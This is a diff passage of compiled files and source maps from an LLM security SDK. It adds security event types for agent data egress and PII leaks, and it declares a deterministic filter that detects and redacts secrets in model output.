AC,CAAC;gBACpE,qEAAqE;gBACrE,oDAAoD;YACtD,CAAC;YAED,uBAAuB;YACvB,MAAM,QAAQ,GAAG,MAAM,OAAO,EAAE,CAAC;YAEjC,2DAA2D;YAC3D,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,SAAS,CAAC;YAEzC,qCAAqC;YACrC,MAAM,SAAS,GAAG,QAAQ,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,OAAO,EAAE,UAAU,CAAC;YAC7D,MAAM,SAAS,GAAG,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,SAAS,EAAE,SAAS,CAAC,CAAC;YAEhE,IAAI,SAAS,EAAE,CAAC;gBACd,MAAM,KAAK,GAAG,mBAAmB,CAC/B,SAAS,EACT,iBAAiB,CAAC,iBAAiB,EACnC,cAAc,CAAC,QAAQ,EACvB,SAAS,SAAS,CAAC,QAAQ,wBAAwB,EACnD;oBACE,QAAQ,EAAE,SAAS,CAAC,QAAQ;oBAC5B,cAAc,EAAE,SAAS,EAAE,0BAA0B;oBACrD,SAAS,EAAE,OAAO,EAAE,SAAS;oBAC7B,QAAQ,EAAE,OAAO,EAAE,QAAQ;iBAC5B,EACD,SAAS,CACV,CAAC;gBACF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;gBACnB,MAAM,IAAI,gBAAgB,CACxB,uCAAuC,SAAS,CAAC,QAAQ,GAAG,EAC5D,KAAK,CACN,CAAC;YACJ,CAAC;YAED,OAAO,QAAQ,CAAC;QAClB,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,4BAA4B;YAC5B,IAAI,KAAK,YAAY,gBAAgB,EAAE,CAAC;gBACtC,MAAM,KAAK,CAAC;YACd,CAAC;YACD,4DAA4D;YAC5D,MAAM,KAAK,CAAC;QACd,CAAC;IACH,CAAC;IAED;;;;;;;;;OASG;IACH,KAAK,CAAC,UAAU,CAAC,MAAc,EAAE,SAAkB;QACjD,IAAI,CAAC,MAAM,EAAE,CAAC;YACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC,wBAAwB;QACxE,CAAC;QAED,MAAM,GAAG,GAAG,SAAS,IAAI,IAAI,CAAC,iBAAiB,EAAE,CAAC;QAClD,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAE7B,IAAI,CAAC;YACH,yDAAyD;YACzD,MAAM,gBAAgB,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC;YAEjD,0DAA0D;YAC1D,MAAM,MAAM,GAAG,IAAI,CAAC,cAAc,CAAC,KAAK,CAAC,gBAAgB,CAAC,CAAC;YAC3D,MAAM,YAAY,GAAG,CAAC,CAAC,MAAM,CAAC;YAE9B,yDAAyD;YACzD,IAAI,YAAY,IAAI,MAAM,EAAE,CAAC;gBAC3B,6CAA6C;gBAC7C,IAAI,IAAI,CAAC,QAAQ,EAAE,CAAC;oBAClB,IAAI,CAAC;wBACH,MAAM,cAAc,GAAG,MAAM,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,gBAAgB,EAAE,GAAG,CAAC,CAAC;wBAExE,IAAI,cAAc,CAAC,MAAM,KAAK,OAAO,EAAE,CAAC;4BACtC,gDAAgD;4BAChD,MAAM,cAAc,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,SAAS,CAAC;4BAC9C,MAAM,KAAK,GAAG,mBAAmB,CAC/B,GAAG,EACH,iBAAiB,CAAC,gBAAgB,EAClC,cAAc,CAAC,IAAI,EACnB,2BAA2B,cAAc,CAAC,KAAK,iBAAiB,cAAc,CAAC,UAAU,kBAAkB,cAAc,CAAC,WAAW,GAAG,EACxI;gCACE,WAAW,EAAE,MAAM,CAAC,WAAW;gCAC/B,cAAc,EAAE,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC;gCACxC,cAAc;gCACd,WAAW,EAAE,cAAc,CAAC,KAAK;gCACjC,WAAW,EAAE,cAAc,CAAC,WAAW;6BACxC,CACF,CAAC;4BAEF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;4BACnB,MAAM,IAAI,gBAAgB,CAAC,yCAAyC,EAAE,KAAK,CAAC,CAAC;wBAC/E,CAAC;wBAED,sEAAsE;wBACtE,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;oBAAC,OAAO,KAAK,EAAE,CAAC;wBACf,qFAAqF;wBACrF,IAAI,KAAK,YAAY,gBAAgB,EAAE,CAAC;4BACtC,MAAM,KAAK,CAAC;wBACd,CAAC;wBACD,0EAA0E;wBAC1E,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;gBACH,CAAC;qBAAM,CAAC;oBACN,mDAAmD;oBACnD,OAAO;wBACL,UAAU,EAAE,IAAI;wBAChB,WAAW,EAAE,MAAM,CAAC,WAAW;wBAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;wBACzB,OAAO,EAAE,KAAK;qBACf,CAAC;gBACJ,CAAC;YACH,CAAC;YAED,mCAAmC;YACnC,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;QAC/C,CAAC;gBAAS,CAAC;YACT,iFAAiF;YACjF,MAAM,MAAM,EAAE,CAAC;QACjB,CAAC;IACH,CAAC;IAED;;OAEG;IACH,eAAe,CAAC,KAAwB;QACtC,MAAM,MAAM,GAAG,gBAAgB,CAAC,KAAK,CAAC,CAAC;QACvC,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,MAAM,CAAC,CAAC;IACtC,CAAC;IAED;;OAEG;IACH,SAAS;QACP,OAAO;YACL,cAAc,EAAE;gBACd,KAAK,EAAE,IAAI,CAAC,cAAc,KAAK,IAAI;gBACnC,KAAK,EAAE,IAAI,CAAC,cAAc,EAAE,KAAK,EAAE;aACpC;YACD,SAAS,EAAE;gBACT,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,eAAe,EAAE;aAC/C;YACD,SAAS,EAAE;gBACT,OAAO,EAAE,IAAI,CAAC,aAAa,KAAK,SAAS;gBACzC,MAAM,EAAE,IAAI,CAAC,aAAa,EAAE,SAAS,EAAE;aACxC;SACF,CAAC;IACJ,CAAC;IAED;;OAEG;IACK,MAAM,CAAC,KAAoB;QACjC,IAAI,IAAI,CAAC,aAAa,EAAE,CAAC;YACvB,IAAI,CAAC,aAAa,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QAClC,CAAC;IACH,CAAC;IAED;;OAEG;IACH,OAAO;QACL,IAAI,CAAC,aAAa,EAAE,OAAO,EAAE,CAAC;IAChC,CAAC;IAED;;OAEG;IACK,iBAAiB;QACvB,OAAO,OAAO,IAAI,CAAC,GAAG,EAAE,IAAI,IAAI,CAAC,MAAM,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;IAC3E,CAAC;CACF"}
1
+ {"version":3,"file":"ShieldApplicationService.js","sourceRoot":"","sources":["../../src/application/ShieldApplicationService.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAEH,OAAO,EAAE,cAAc,EAAE,MAAM,oCAAoC,CAAC;AACpE,OAAO,EAAE,mBAAmB,EAA4C,MAAM,mCAAmC,CAAC;AAClH,OAAO,EAAE,SAAS,EAAiB,MAAM,2BAA2B,CAAC;AACrE,OAAO,EAAE,gBAAgB,EAAmB,MAAM,4BAA4B,CAAC;AAC/E,OAAO,EACL,mBAAmB,EACnB,iBAAiB,EACjB,cAAc,GAEf,MAAM,kBAAkB,CAAC;AAK1B,OAAO,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AACtD,OAAO,EAAE,eAAe,EAAE,MAAM,EAAE,MAAM,SAAS,CAAC;AAElD,OAAO,EAAE,gBAAgB,EAAE,MAAM,6CAA6C,CAAC;AAC/E,OAAO,EAAE,wBAAwB,EAAE,MAAM,qDAAqD,CAAC;AA0C/F,MAAM,OAAO,wBAAwB;IAUnC,YAA6B,MAAsC;QAAtC,WAAM,GAAN,MAAM,CAAgC;QACjE,IAAI,CAAC,SAAS,GAAG,IAAI,SAAS,CAAC,MAAM,CAAC,UAAU,CAAC,CAAC;QAClD,IAAI,CAAC,aAAa,GAAG,MAAM,CAAC,aAAa,CAAC;QAC1C,IAAI,CAAC,WAAW,GAAG,MAAM,CAAC,WAAW,CAAC;QACtC,IAAI,CAAC,QAAQ,GAAG,MAAM,CAAC,QAAQ,CAAC,CAAC,UAAU;QAC3C,iEAAiE;QACjE,IAAI,CAAC,UAAU,GAAG,MAAM,CAAC,UAAU,IAAI,OAAO,CAAC;QAE/C,gEAAgE;QAChE,IAAI,CAAC,mBAAmB,GAAG,IAAI,mBAAmB,EAAE,CAAC;QAErD,wEAAwE;QACxE,IAAI,CAAC,cAAc,GAAG,IAAI,cAAc,CAAC,gBAAgB,CAAC,CAAC;QAE3D,sEAAsE;QACtE,IAAI,CAAC,oBAAoB,EAAE,CAAC;IAC9B,CAAC;IAED;;;OAGG;IACK,oBAAoB;QAC1B,mDAAmD;QACnD,IAAI,IAAI,CAAC,MAAM,CAAC,iBAAiB,YAAY,wBAAwB,KAAK,KAAK,EAAE,CAAC;YAChF,IAAI,CAAC,MAAM,CAAC,iBAAiB;iBAC1B,WAAW,EAAE;iBACb,IAAI,CAAC,CAAC,QAAQ,EAAE,EAAE;gBACjB,IAAI,QAAQ,IAAI,QAAQ,CAAC,MAAM,GAAG,CAAC,EAAE,CAAC;oBACpC,IAAI,CAAC,cAAc,GAAG,IAAI,cAAc,CAAC,QAAQ,CAAC,CAAC;gBACrD,CAAC;YACH,CAAC,CAAC;iBACD,KAAK,CAAC,CAAC,GAAG,EAAE,EAAE;gBACb,OAAO,CAAC,IAAI,CACV,iEAAiE,EACjE,GAAG,CACJ,CAAC;YACJ,CAAC,CAAC,CAAC;QACP,CAAC;IACH,CAAC;IAED;;;;;;OAMG;IACH,KAAK,CAAC,IAAI,CACR,OAAyB,EACzB,OAAqB;QAErB,MAAM,SAAS,GAAG,OAAO,EAAE,SAAS,IAAI,IAAI,CAAC,iBAAiB,EAAE,CAAC;QACjE,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAE7B,IAAI,CAAC;YACH,gDAAgD;YAChD,iFAAiF;YACjF,IAAI,OAAO,EAAE,MAAM,EAAE,CAAC;gBACpB,MAAM,UAAU,GAAG,MAAM,IAAI,CAAC,UAAU,CAAC,OAAO,CAAC,MAAM,EAAE,SAAS,CAAC,CAAC;gBACpE,qEAAqE;gBACrE,oDAAoD;YACtD,CAAC;YAED,uBAAuB;YACvB,MAAM,WAAW,GAAG,MAAM,OAAO,EAAE,CAAC;YAEpC,wEAAwE;YACxE,4EAA4E;YAC5E,EAAE;YACF,iDAAiD;YACjD,mFAAmF;YACnF,8CAA8C;YAC9C,EAAE;YACF,2EAA2E;YAC3E,wEAAwE;YACxE,wEAAwE;YACxE,4DAA4D;YAC5D,MAAM,EAAE,QAAQ,EAAE,OAAO,EAAE,aAAa,EAAE,GACxC,IAAI,CAAC,mBAAmB,CAAC,cAAc,CAAC,WAAW,CAAC,CAAC;YAEvD,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,SAAS,CAAC;YACzC,MAAM,KAAK,GAAG,aAAa,CAAC,KAAK,CAAC;YAElC,IAAI,KAAK,CAAC,YAAY,IAAI,KAAK,CAAC,KAAK,EAAE,CAAC;gBACtC,IAAI,KAAK,CAAC,KAAK,KAAK,mBAAmB,EAAE,CAAC;oBACxC,+DAA+D;oBAC/D,MAAM,KAAK,GAAG,mBAAmB,CAC/B,SAAS,EACT,iBAAiB,CAAC,iBAAiB,EACnC,cAAc,CAAC,QAAQ,EACvB,YAAY,KAAK,CAAC,MAAM,EAAE,EAC1B;wBACE,WAAW,EAAE,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,WAAW;wBAC3C,cAAc,EAAE,SAAS;wBACzB,SAAS,EAAE,OAAO,EAAE,SAAS;wBAC7B,QAAQ,EAAE,OAAO,EAAE,QAAQ;qBAC5B,EACD,SAAS,CACV,CAAC;oBACF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;oBACnB,MAAM,IAAI,gBAAgB,CAAC,6CAA6C,EAAE,KAAK,CAAC,CAAC;gBACnF,CAAC;gBAED,IAAI,KAAK,CAAC,KAAK,KAAK,mBAAmB,IAAI,KAAK,CAAC,KAAK,KAAK,qBAAqB,EAAE,CAAC;oBACjF,gFAAgF;oBAChF,MAAM,KAAK,GAAG,mBAAmB,CAC/B,SAAS,EACT,iBAAiB,CAAC,QAAQ,EAC1B,cAAc,CAAC,IAAI,EACnB,YAAY,KAAK,CAAC,MAAM,EAAE,EAC1B;wBACE,WAAW,EAAE,KAAK,CAAC,QAAQ,CAAC,CAAC,CAAC,EAAE,WAAW;wBAC3C,cAAc,EAAE,SAAS;wBACzB,SAAS,EAAE,OAAO,EAAE,SAAS;wBAC7B,QAAQ,EAAE,OAAO,EAAE,QAAQ;qBAC5B,EACD,SAAS,CACV,CAAC;oBACF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;gBACrB,CAAC;gBACD,8EAA8E;YAChF,CAAC;YAED,qCAAqC;YACrC,MAAM,SAAS,GAAG,QAAQ,CAAC,OAAO,EAAE,CAAC,CAAC,CAAC,EAAE,OAAO,EAAE,UAAU,CAAC;YAC7D,MAAM,SAAS,GAAG,IAAI,CAAC,SAAS,CAAC,QAAQ,CAAC,SAAS,EAAE,SAAS,CAAC,CAAC;YAEhE,IAAI,SAAS,EAAE,CAAC;gBACd,MAAM,KAAK,GAAG,mBAAmB,CAC/B,SAAS,EACT,iBAAiB,CAAC,iBAAiB,EACnC,cAAc,CAAC,QAAQ,EACvB,SAAS,SAAS,CAAC,QAAQ,wBAAwB,EACnD;oBACE,QAAQ,EAAE,SAAS,CAAC,QAAQ;oBAC5B,cAAc,EAAE,SAAS,EAAE,0BAA0B;oBACrD,SAAS,EAAE,OAAO,EAAE,SAAS;oBAC7B,QAAQ,EAAE,OAAO,EAAE,QAAQ;iBAC5B,EACD,SAAS,CACV,CAAC;gBACF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;gBACnB,MAAM,IAAI,gBAAgB,CACxB,uCAAuC,SAAS,CAAC,QAAQ,GAAG,EAC5D,KAAK,CACN,CAAC;YACJ,CAAC;YAED,OAAO,QAAQ,CAAC;QAClB,CAAC;QAAC,OAAO,KAAK,EAAE,CAAC;YACf,4BAA4B;YAC5B,IAAI,KAAK,YAAY,gBAAgB,EAAE,CAAC;gBACtC,MAAM,KAAK,CAAC;YACd,CAAC;YACD,4DAA4D;YAC5D,MAAM,KAAK,CAAC;QACd,CAAC;IACH,CAAC;IAED;;;;;;;;;OASG;IACH,KAAK,CAAC,UAAU,CAAC,MAAc,EAAE,SAAkB;QACjD,IAAI,CAAC,MAAM,EAAE,CAAC;YACZ,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC,CAAC,wBAAwB;QACxE,CAAC;QAED,MAAM,GAAG,GAAG,SAAS,IAAI,IAAI,CAAC,iBAAiB,EAAE,CAAC;QAClD,MAAM,SAAS,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC;QAE7B,IAAI,CAAC;YACH,yDAAyD;YACzD,MAAM,gBAAgB,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC;YAEjD,0DAA0D;YAC1D,MAAM,MAAM,GAAG,IAAI,CAAC,cAAc,CAAC,KAAK,CAAC,gBAAgB,CAAC,CAAC;YAC3D,MAAM,YAAY,GAAG,CAAC,CAAC,MAAM,CAAC;YAE9B,yDAAyD;YACzD,IAAI,YAAY,IAAI,MAAM,EAAE,CAAC;gBAC3B,6CAA6C;gBAC7C,IAAI,IAAI,CAAC,QAAQ,EAAE,CAAC;oBAClB,IAAI,CAAC;wBACH,MAAM,cAAc,GAAG,MAAM,IAAI,CAAC,QAAQ,CAAC,KAAK,CAAC,gBAAgB,EAAE,GAAG,CAAC,CAAC;wBAExE,IAAI,cAAc,CAAC,MAAM,KAAK,OAAO,EAAE,CAAC;4BACtC,gDAAgD;4BAChD,MAAM,cAAc,GAAG,IAAI,CAAC,GAAG,EAAE,GAAG,SAAS,CAAC;4BAC9C,MAAM,KAAK,GAAG,mBAAmB,CAC/B,GAAG,EACH,iBAAiB,CAAC,gBAAgB,EAClC,cAAc,CAAC,IAAI,EACnB,2BAA2B,cAAc,CAAC,KAAK,iBAAiB,cAAc,CAAC,UAAU,kBAAkB,cAAc,CAAC,WAAW,GAAG,EACxI;gCACE,WAAW,EAAE,MAAM,CAAC,WAAW;gCAC/B,cAAc,EAAE,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,GAAG,CAAC;gCACxC,cAAc;gCACd,WAAW,EAAE,cAAc,CAAC,KAAK;gCACjC,WAAW,EAAE,cAAc,CAAC,WAAW;6BACxC,CACF,CAAC;4BAEF,IAAI,CAAC,MAAM,CAAC,KAAK,CAAC,CAAC;4BACnB,MAAM,IAAI,gBAAgB,CAAC,yCAAyC,EAAE,KAAK,CAAC,CAAC;wBAC/E,CAAC;wBAED,sEAAsE;wBACtE,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;oBAAC,OAAO,KAAK,EAAE,CAAC;wBACf,qFAAqF;wBACrF,IAAI,KAAK,YAAY,gBAAgB,EAAE,CAAC;4BACtC,MAAM,KAAK,CAAC;wBACd,CAAC;wBACD,0EAA0E;wBAC1E,OAAO;4BACL,UAAU,EAAE,IAAI;4BAChB,WAAW,EAAE,MAAM,CAAC,WAAW;4BAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;4BACzB,OAAO,EAAE,KAAK;yBACf,CAAC;oBACJ,CAAC;gBACH,CAAC;qBAAM,CAAC;oBACN,mDAAmD;oBACnD,OAAO;wBACL,UAAU,EAAE,IAAI;wBAChB,WAAW,EAAE,MAAM,CAAC,WAAW;wBAC/B,QAAQ,EAAE,MAAM,CAAC,QAAQ;wBACzB,OAAO,EAAE,KAAK;qBACf,CAAC;gBACJ,CAAC;YACH,CAAC;YAED,mCAAmC;YACnC,OAAO,EAAE,UAAU,EAAE,KAAK,EAAE,OAAO,EAAE,KAAK,EAAE,CAAC;QAC/C,CAAC;gBAAS,CAAC;YACT,iFAAiF;YACjF,MAAM,MAAM,EAAE,CAAC;QACjB,CAAC;IACH,CAAC;IAED;;;OAGG;IACH,QAAQ,CAAC,IAAY;QACnB,OAAO,IAAI,CAAC,mBAAmB,CAAC,QAAQ,CAAC,IAAI,CAAC,CAAC;IACjD,CAAC;IAED;;OAEG;IACH,eAAe,CAAC,KAAwB;QACtC,MAAM,MAAM,GAAG,gBAAgB,CAAC,KAAK,CAAC,CAAC;QACvC,IAAI,CAAC,SAAS,CAAC,YAAY,CAAC,MAAM,CAAC,CAAC;IACtC,CAAC;IAED;;OAEG;IACH,SAAS;QACP,OAAO;YACL,cAAc,EAAE;gBACd,KAAK,EAAE,IAAI,CAAC,cAAc,KAAK,IAAI;gBACnC,KAAK,EAAE,IAAI,CAAC,cAAc,EAAE,KAAK,EAAE;aACpC;YACD,SAAS,EAAE;gBACT,YAAY,EAAE,IAAI,CAAC,SAAS,CAAC,eAAe,EAAE;aAC/C;YACD,SAAS,EAAE;gBACT,OAAO,EAAE,IAAI,CAAC,aAAa,KAAK,SAAS;gBACzC,MAAM,EAAE,IAAI,CAAC,aAAa,EAAE,SAAS,EAAE;aACxC;SACF,CAAC;IACJ,CAAC;IAED;;OAEG;IACK,MAAM,CAAC,KAAoB;QACjC,IAAI,IAAI,CAAC,aAAa,EAAE,CAAC;YACvB,IAAI,CAAC,aAAa,CAAC,KAAK,CAAC,KAAK,CAAC,CAAC;QAClC,CAAC;IACH,CAAC;IAED;;OAEG;IACH,OAAO;QACL,IAAI,CAAC,aAAa,EAAE,OAAO,EAAE,CAAC;IAChC,CAAC;IAED;;OAEG;IACK,iBAAiB;QACvB,OAAO,OAAO,IAAI,CAAC,GAAG,EAAE,IAAI,IAAI,CAAC,MAAM,EAAE,CAAC,QAAQ,CAAC,EAAE,CAAC,CAAC,SAAS,CAAC,CAAC,EAAE,CAAC,CAAC,EAAE,CAAC;IAC3E,CAAC;CACF"}
@@ -6,7 +6,11 @@ export declare enum SecurityEventType {
6
6
  PROMPT_INJECTION = "PROMPT_INJECTION",
7
7
  UNAUTHORIZED_TOOL = "UNAUTHORIZED_TOOL",
8
8
  PATTERN_MATCH = "PATTERN_MATCH",
9
- SCHEMA_VIOLATION = "SCHEMA_VIOLATION"
9
+ SCHEMA_VIOLATION = "SCHEMA_VIOLATION",
10
+ /** Layer 1: agent attempted to exfiltrate data to an unauthorized destination */
11
+ SUSPICIOUS_EGRESS = "SUSPICIOUS_EGRESS",
12
+ /** Layer 1: agent response contained PII/secrets that were redacted before delivery */
13
+ PII_LEAK = "PII_LEAK"
10
14
  }
11
15
  export type SecurityEventTypeString = keyof typeof SecurityEventType;
12
16
  export declare function isSecurityEventType(value: unknown): value is SecurityEventType;
@@ -1 +1 @@
1
- {"version":3,"file":"SecurityEventType.d.ts","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,oBAAY,iBAAiB;IAC3B,gBAAgB,qBAAqB;IACrC,iBAAiB,sBAAsB;IACvC,aAAa,kBAAkB;IAC/B,gBAAgB,qBAAqB;CACtC;AAED,MAAM,MAAM,uBAAuB,GAAG,MAAM,OAAO,iBAAiB,CAAC;AAErE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,iBAAiB,CAE9E"}
1
+ {"version":3,"file":"SecurityEventType.d.ts","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,oBAAY,iBAAiB;IAC3B,gBAAgB,qBAAqB;IACrC,iBAAiB,sBAAsB;IACvC,aAAa,kBAAkB;IAC/B,gBAAgB,qBAAqB;IACrC,iFAAiF;IACjF,iBAAiB,sBAAsB;IACvC,uFAAuF;IACvF,QAAQ,aAAa;CACtB;AAED,MAAM,MAAM,uBAAuB,GAAG,MAAM,OAAO,iBAAiB,CAAC;AAErE,wBAAgB,mBAAmB,CAAC,KAAK,EAAE,OAAO,GAAG,KAAK,IAAI,iBAAiB,CAE9E"}
@@ -8,6 +8,10 @@ export var SecurityEventType;
8
8
  SecurityEventType["UNAUTHORIZED_TOOL"] = "UNAUTHORIZED_TOOL";
9
9
  SecurityEventType["PATTERN_MATCH"] = "PATTERN_MATCH";
10
10
  SecurityEventType["SCHEMA_VIOLATION"] = "SCHEMA_VIOLATION";
11
+ /** Layer 1: agent attempted to exfiltrate data to an unauthorized destination */
12
+ SecurityEventType["SUSPICIOUS_EGRESS"] = "SUSPICIOUS_EGRESS";
13
+ /** Layer 1: agent response contained PII/secrets that were redacted before delivery */
14
+ SecurityEventType["PII_LEAK"] = "PII_LEAK";
11
15
  })(SecurityEventType || (SecurityEventType = {}));
12
16
  export function isSecurityEventType(value) {
13
17
  return Object.values(SecurityEventType).includes(value);
@@ -1 +1 @@
1
- {"version":3,"file":"SecurityEventType.js","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,CAAN,IAAY,iBAKX;AALD,WAAY,iBAAiB;IAC3B,0DAAqC,CAAA;IACrC,4DAAuC,CAAA;IACvC,oDAA+B,CAAA;IAC/B,0DAAqC,CAAA;AACvC,CAAC,EALW,iBAAiB,KAAjB,iBAAiB,QAK5B;AAID,MAAM,UAAU,mBAAmB,CAAC,KAAc;IAChD,OAAO,MAAM,CAAC,MAAM,CAAC,iBAAiB,CAAC,CAAC,QAAQ,CAAC,KAA0B,CAAC,CAAC;AAC/E,CAAC"}
1
+ {"version":3,"file":"SecurityEventType.js","sourceRoot":"","sources":["../../../src/domain/events/SecurityEventType.ts"],"names":[],"mappings":"AAAA;;;GAGG;AAEH,MAAM,CAAN,IAAY,iBASX;AATD,WAAY,iBAAiB;IAC3B,0DAAqC,CAAA;IACrC,4DAAuC,CAAA;IACvC,oDAA+B,CAAA;IAC/B,0DAAqC,CAAA;IACrC,iFAAiF;IACjF,4DAAuC,CAAA;IACvC,uFAAuF;IACvF,0CAAqB,CAAA;AACvB,CAAC,EATW,iBAAiB,KAAjB,iBAAiB,QAS5B;AAID,MAAM,UAAU,mBAAmB,CAAC,KAAc;IAChD,OAAO,MAAM,CAAC,MAAM,CAAC,iBAAiB,CAAC,CAAC,QAAQ,CAAC,KAA0B,CAAC,CAAC;AAC/E,CAAC"}
@@ -0,0 +1,79 @@
1
+ /**
2
+ * Deterministic Filter
3
+ * Domain service: Layer 1 outbound intelligent gatekeeper.
4
+ *
5
+ * Philosophy — The SDK is a HIGH-PRECISION SENSOR, not a policy enforcer.
6
+ *
7
+ * Every match is surfaced as a SuspiciousTrace. The developer owns the reaction:
8
+ *
9
+ * const trace = tracerney.validate(agentOutput);
10
+ *
11
+ * if (trace.isSuspicious) {
12
+ * console.log(`Alert: ${trace.reason}`);
13
+ *
14
+ * // Option A: Hard Block
15
+ * // throw new Error("Security Policy Violation");
16
+ *
17
+ * // Option B: Surgical Scrub
18
+ * // return trace.redactedContent;
19
+ * }
20
+ *
21
+ * See the "Suspicious Manifest" in PIIPattern.ts for the label-to-action guide.
22
+ *
23
+ * Pure synchronous — no I/O, no async. Target latency <5ms.
24
+ */
25
+ import { type PIICategory, type PIIPattern, type SuspiciousLabel } from "./PIIPattern";
26
+ import type { LLMResponse } from "../../application/ports/ILLMProvider";
27
+ export type { SuspiciousLabel };
28
+ export interface PIIFinding {
29
+ readonly patternId: string;
30
+ readonly patternName: string;
31
+ readonly category: PIICategory;
32
+ /** Semantic label — use this for routing decisions */
33
+ readonly label: SuspiciousLabel;
34
+ /** How many times this pattern matched */
35
+ readonly count: number;
36
+ }
37
+ /**
38
+ * The result of a single validate() call.
39
+ *
40
+ * isSuspicious — true if any pattern fired; false means clean.
41
+ * label — highest-severity label across all findings (null when clean).
42
+ * reason — human-readable summary for logging, e.g. "Detected 2 finding(s): Email Address, AWS Access Key ID"
43
+ * redactedContent — pre-computed version of the input with all matches replaced.
44
+ * Present regardless of isSuspicious (equals original text when clean).
45
+ * Use it if you want surgical scrubbing. Throw if you want a hard block.
46
+ * findings — granular list for detailed logging or telemetry.
47
+ */
48
+ export interface SuspiciousTrace {
49
+ readonly isSuspicious: boolean;
50
+ readonly label: SuspiciousLabel | null;
51
+ readonly reason: string;
52
+ readonly redactedContent: string;
53
+ readonly findings: readonly PIIFinding[];
54
+ }
55
+ /** @internal Used by ShieldApplicationService.wrap() */
56
+ export interface FilterOutcome {
57
+ readonly trace: SuspiciousTrace;
58
+ /** Response with redactedContent applied to all choice messages */
59
+ readonly redactedResponse?: unknown;
60
+ }
61
+ export declare class DeterministicFilter {
62
+ private readonly patterns;
63
+ constructor(patterns?: readonly PIIPattern[]);
64
+ /**
65
+ * Scan a plain string and return a SuspiciousTrace.
66
+ * Always returns — never throws. The caller decides what to do.
67
+ */
68
+ validate(text: string): SuspiciousTrace;
69
+ /**
70
+ * Scan all text content in an LLMResponse.
71
+ * Returns a merged SuspiciousTrace (highest label across all choices)
72
+ * and a new response with redactedContent applied — never mutates the original.
73
+ */
74
+ filterResponse<T extends LLMResponse>(response: T): {
75
+ response: T;
76
+ outcome: FilterOutcome;
77
+ };
78
+ }
79
+ //# sourceMappingURL=DeterministicFilter.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"DeterministicFilter.d.ts","sourceRoot":"","sources":["../../../src/domain/pii/DeterministicFilter.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;;;;;;;;;;;GAuBG;AAEH,OAAO,EAIL,KAAK,WAAW,EAChB,KAAK,UAAU,EACf,KAAK,eAAe,EACrB,MAAM,cAAc,CAAC;AACtB,OAAO,KAAK,EAAE,WAAW,EAAa,MAAM,sCAAsC,CAAC;AAInF,YAAY,EAAE,eAAe,EAAE,CAAC;AAEhC,MAAM,WAAW,UAAU;IACzB,QAAQ,CAAC,SAAS,EAAE,MAAM,CAAC;IAC3B,QAAQ,CAAC,WAAW,EAAE,MAAM,CAAC;IAC7B,QAAQ,CAAC,QAAQ,EAAE,WAAW,CAAC;IAC/B,sDAAsD;IACtD,QAAQ,CAAC,KAAK,EAAE,eAAe,CAAC;IAChC,0CAA0C;IAC1C,QAAQ,CAAC,KAAK,EAAE,MAAM,CAAC;CACxB;AAED;;;;;;;;;;GAUG;AACH,MAAM,WAAW,eAAe;IAC9B,QAAQ,CAAC,YAAY,EAAE,OAAO,CAAC;IAC/B,QAAQ,CAAC,KAAK,EAAE,eAAe,GAAG,IAAI,CAAC;IACvC,QAAQ,CAAC,MAAM,EAAE,MAAM,CAAC;IACxB,QAAQ,CAAC,eAAe,EAAE,MAAM,CAAC;IACjC,QAAQ,C